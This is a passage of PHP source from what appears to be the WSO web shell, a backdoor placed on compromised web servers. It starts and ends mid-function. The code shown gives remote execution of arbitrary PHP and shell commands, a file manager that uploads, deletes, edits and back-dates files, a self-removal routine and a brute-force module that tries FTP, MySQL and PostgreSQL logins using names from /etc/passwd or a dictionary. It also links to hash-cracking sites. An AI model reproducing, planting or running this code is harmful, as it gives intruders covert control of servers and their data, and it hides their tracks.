echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';
echo \' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
if(!empty($_POST[\'p1\'])) {
ob_start();
eval($_POST[\'p1\']);
echo htmlspecialchars(ob_get_clean());
}
echo \'</pre></div>\';
wsoFooter();
}
function actionFilesMan() {
if (!empty ($_COOKIE[\'f\']))
$_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);
if(!empty($_POST[\'p1\'])) {
switch($_POST[\'p1\']) {
case \'uploadFile\':
if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
echo "Can\'t upload file!";
break;
case \'mkdir\':
if(!@mkdir($_POST[\'p2\']))
echo "Can\'t create new dir";
break;
case \'delete\':
function deleteDir($path) {
$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST[\'f\']))
foreach($_POST[\'f\'] as $f) {
if($f == \'..\')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case \'paste\':
if($_COOKIE[\'act\'] == \'copy\') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE[\'f\'] as $f)
copy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);
} elseif($_COOKIE[\'act\'] == \'move\') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE[\'f\'] as $f)
@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);
} elseif($_COOKIE[\'act\'] == \'zip\') {
if(class_exists(\'ZipArchive\')) {
$zip = new ZipArchive();
if ($zip->open($_POST[\'p2\'], 1)) {
chdir($_COOKIE[\'c\']);
foreach($_COOKIE[\'f\'] as $f) {
if($f == \'..\')
continue;
if(@is_file($_COOKIE[\'c\'].$f))
$zip->addFile($_COOKIE[\'c\'].$f, $f);
elseif(@is_dir($_COOKIE[\'c\'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS[\'cwd\']);
$zip->close();
}
}
} elseif($_COOKIE[\'act\'] == \'unzip\') {
if(class_exists(\'ZipArchive\')) {
$zip = new ZipArchive();
foreach($_COOKIE[\'f\'] as $f) {
if($zip->open($_COOKIE[\'c\'].$f)) {
$zip->extractTo($GLOBALS[\'cwd\']);
$zip->close();
}
}
}
} elseif($_COOKIE[\'act\'] == \'tar\') {
chdir($_COOKIE[\'c\']);
$_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);
wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));
chdir($GLOBALS[\'cwd\']);
}
unset($_COOKIE[\'f\']);
setcookie(\'f\', \'\', time() - 3600);
break;
default:
if(!empty($_POST[\'p1\'])) {
WSOsetcookie(\'act\', $_POST[\'p1\']);
WSOsetcookie(\'f\', serialize(@$_POST[\'f\']));
WSOsetcookie(\'c\', @$_POST[\'c\']);
}
break;
}
}
wsoHeader();
echo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';
$dirContent = wsoScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
if($dirContent === false) { echo \'Can\'t open this folder!\';wsoFooter(); return; }
global $sort;
$sort = array(\'name\', 1);
if(!empty($_POST[\'p1\'])) {
if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == \'checkbox\')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array(\'name\' => $dirContent[$i],
\'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
\'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),
\'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),
\'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
\'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
\'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))
$files[] = array_merge($tmp, array(\'type\' => \'file\'));
elseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));
elseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
}
$GLOBALS[\'sort\'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS[\'sort\'][0] != \'size\')
return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);
else
return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'view\')">\'.htmlspecialchars($f[\'name\']):\'g(\'FilesMan\',\'\'.$f[\'path\'].\'\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\',\'chmod\')">\'.$f[\'perms\']
.\'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'touch\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'\'.urlencode($f[\'name\']).\'\', \'download\')">D</a>\':\'\').\'</td></tr>\';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value=\'FilesMan\'>
<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>
<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>
<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";
if(class_exists(\'ZipArchive\'))
echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>";
echo "<option value=\'tar\'>Compress (tar.gz)</option>";
if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))
echo "<option value=\'paste\'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))
echo "file name: <input type=text name=p2 value=\'wso_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'> ";
echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";
wsoFooter();
}
function actionStringTools() {
if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}
if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
\'Base64 encode\' => \'base64_encode\',
\'Base64 decode\' => \'base64_decode\',
\'Url encode\' => \'urlencode\',
\'Url decode\' => \'urldecode\',
\'Full urlencode\' => \'full_urlencode\',
\'md5 hash\' => \'md5\',
\'sha1 hash\' => \'sha1\',
\'crypt\' => \'crypt\',
\'CRC32\' => \'crc32\',
\'ASCII to HEX\' => \'ascii2hex\',
\'HEX to ASCII\' => \'hex2ascii\',
\'HEX to DEC\' => \'hexdec\',
\'HEX to BIN\' => \'hex2bin\',
\'DEC to HEX\' => \'dechex\',
\'DEC to BIN\' => \'decbin\',
\'BIN to HEX\' => \'binhex\',
\'BIN to DEC\' => \'bindec\',
\'String to lower case\' => \'strtolower\',
\'String to upper case\' => \'strtoupper\',
\'Htmlspecialchars\' => \'htmlspecialchars\',
\'String length\' => \'strlen\',
);
if(isset($_POST[\'ajax\'])) {
WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);
ob_start();
if(in_array($_POST[\'p1\'], $stringTools))
echo $_POST[\'p1\']($_POST[\'p2\']);
$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"
\\'")."\';
";
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);
wsoHeader();
echo \'<h1>String conversions</h1><div class=content>\';
echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";
foreach($stringTools as $k => $v)
echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";
echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";
if(!empty($_POST[\'p1\'])) {
if(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));
}
echo"</pre></div><br><h1>Search files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>
<tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>
<tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>
<tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>
<tr><td></td><td><input type=\'submit\' value=\'>>\'></td></tr>
</table></form>";
function wsoRecursiveGlob($path) {
if(substr($path, -1) != \'/\')
$path.=\'/\';
$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
wsoRecursiveGlob($item);
} else {
if(empty($_POST[\'p2\']) || @strpos(file_get_contents($item), $_POST[\'p2\'])!==false)
echo "<a href=\'#\' onclick=\'g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")\'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST[\'p3\'])
wsoRecursiveGlob($_POST[\'c\']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method=\'post\' target=\'_blank\' name=\'hf\'>
<input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>
<input type=\'hidden\' name=\'act\' value=\'find\'/>
<input type=\'button\' value=\'hashcracking.ru\' onclick=\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\"><br>
<input type=\'button\' value=\'md5.rednoize.com\' onclick=\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\"><br>
<input type=\'button\' value=\'crackfor.me\' onclick=\"document.hf.action=\'http://crackfor.me/index.php\';document.hf.submit()\"><br>
</form></div>";
wsoFooter();
}
function actionFilesTools() {
if( isset($_POST[\'p1\']) )
$_POST[\'p1\'] = urldecode($_POST[\'p1\']);
if(@$_POST[\'p2\']==\'download\') {
if(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST[\'p1\']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST[\'p1\'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST[\'p2\'] == \'mkfile\' ) {
if(!file_exists($_POST[\'p1\'])) {
$fp = @fopen($_POST[\'p1\'], \'w\');
if($fp) {
$_POST[\'p2\'] = "edit";
fclose($fp);
}
}
}
wsoHeader();
echo \'<h1>File tools</h1><div class=content>\';
if( !file_exists(@$_POST[\'p1\']) ) {
echo \'File not exists\';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));
if(!$uid) {
$uid[\'name\'] = @fileowner($_POST[\'p1\']);
$gid[\'name\'] = @filegroup($_POST[\'p1\']);
} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));
echo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.wsoPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
if( empty($_POST[\'p2\']) )
$_POST[\'p2\'] = \'view\';
if( is_file($_POST[\'p1\']) )
$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');
else
$m = array(\'Chmod\', \'Rename\', \'Touch\');
foreach($m as $v)
echo \'<a href=# onclick="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
echo \'<br><br>\';
switch($_POST[\'p2\']) {
case \'view\':
echo \'<pre class=ml1>\';
$fp = @fopen($_POST[\'p1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</pre>\';
break;
case \'highlight\':
if( @is_readable($_POST[\'p1\']) ) {
echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';
$code = @highlight_file($_POST[\'p1\'],true);
echo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div>\';
}
break;
case \'chmod\':
if( !empty($_POST[\'p3\']) ) {
$perms = 0;
for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));
if(!@chmod($_POST[\'p1\'], $perms))
echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
}
clearstatcache();
echo \'<script>p3_="";</script><form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
break;
case \'edit\':
if( !is_writable($_POST[\'p1\'])) {
echo \'File isn\'t writeable\';
break;
}
if( !empty($_POST[\'p3\']) ) {
$time = @filemtime($_POST[\'p1\']);
$_POST[\'p3\'] = substr($_POST[\'p3\'],1);
$fp = @fopen($_POST[\'p1\'],"w");
if($fp) {
@fwrite($fp,$_POST[\'p3\']);
@fclose($fp);
echo \'Saved!<br><script>p3_="";</script>\';
@touch($_POST[\'p1\'],$time,$time);
}
}
echo \'<form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>\';
$fp = @fopen($_POST[\'p1\'], \'r\');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo \'</textarea><input type=submit value=">>"></form>\';
break;
case \'hexdump\':
$c = @file_get_contents($_POST[\'p1\']);
$n = 0;
$h = array(\'00000000<br>\',\'\',\'\');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= \' \'; break;
case 9: $h[2] .= \' \'; break;
case 10: $h[2] .= \' \'; break;
case 13: $h[2] .= \' \'; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
$h[1] .= \'<br>\';
$h[2] .= "
";
}
}
echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
break;
case \'rename\':
if( !empty($_POST[\'p3\']) ) {
if(!@rename($_POST[\'p1\'], $_POST[\'p3\']))
echo \'Can\'t rename!<br>\';
else
die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
}
echo \'<form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
break;
case \'touch\':
if( !empty($_POST[\'p3\']) ) {
$time = strtotime($_POST[\'p3\']);
if($time) {
if(!touch($_POST[\'p1\'],$time,$time))
echo \'Fail!\';
else
echo \'Touched!\';
} else echo \'Bad time format!\';
}
clearstatcache();
echo \'<script>p3_="";</script><form onsubmit="g(null,null,\'\' . urlencode($_POST[\'p1\']) . \'\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
break;
}
echo \'</div>\';
wsoFooter();
}
function actionConsole() {
if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {
WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);
$_POST[\'p1\'] .= \' 2>&1\';
} elseif(!empty($_POST[\'p1\']))
WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);
if(isset($_POST[\'ajax\'])) {
WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);
ob_start();
echo "d.cf.cmd.value=\'\';
";
$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("
$ ".$_POST[\'p1\']."
".wsoEx($_POST[\'p1\']),"
\\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match)) {
if(@chdir($match[1])) {
$GLOBALS[\'cwd\'] = @getcwd();
echo "c_=\'".$GLOBALS[\'cwd\']."\';";
}
}
echo "d.cf.output.value+=\'".$temp."\';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array(\'\');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push(\'\');
cur = cmds.length-1;
}
</script>";
echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>\';
foreach($GLOBALS[\'aliases\'] as $n => $v) {
if($v == \'\') {
echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
continue;
}
echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
}
echo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';
if(!empty($_POST[\'p1\'])) {
echo htmlspecialchars("$ ".$_POST[\'p1\']."
".wsoEx($_POST[\'p1\']));
}
echo \'</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';
echo \'</form></div><script>d.cf.cmd.focus();</script>\';
wsoFooter();
}
function actionLogout() {
setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);
die(\'bye!\');
}
function actionSelfRemove() {
if($_POST[\'p1\'] == \'yes\')
if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__)))
die(\'Shell has been removed\');
else
echo \'unlink error!\';
if($_POST[\'p1\'] != \'yes\')
wsoHeader();
echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\';
wsoFooter();
}
function actionBruteforce() {
wsoHeader();
if( isset($_POST[\'proto\']) ) {
echo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';
if( $_POST[\'proto\'] == \'ftp\' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST[\'proto\'] == \'mysql\' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST[\'proto\'] == \'pgsql\' ) {
function wsoBruteForce($ip,$port,$login,$pass) {
$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST[\'server\']);
if($_POST[\'type\'] == 1) {
$temp = @file(\'/etc/passwd\');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';
}
if(@$_POST[\'reverse\']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST[\'type\'] == 2) {
$temp = @file($_POST[\'dict\']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( wsoBruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {
$success++;
echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo \'<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'
.\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'
.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'
.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'
.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'
.\'<span>Server:port</span></td>\'
.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'
.\'<tr><td><span>Brute type</span></td>\'
.\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'
.\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'
.\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'
.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'
.\'<td><input type=text name=login value="root"></td></tr>\'
.\'<tr><td><span>Dictionary</span></td>\'
.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'
.\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';
echo \'</div><br>\';
wsoFooter();
}
function actionSql() {
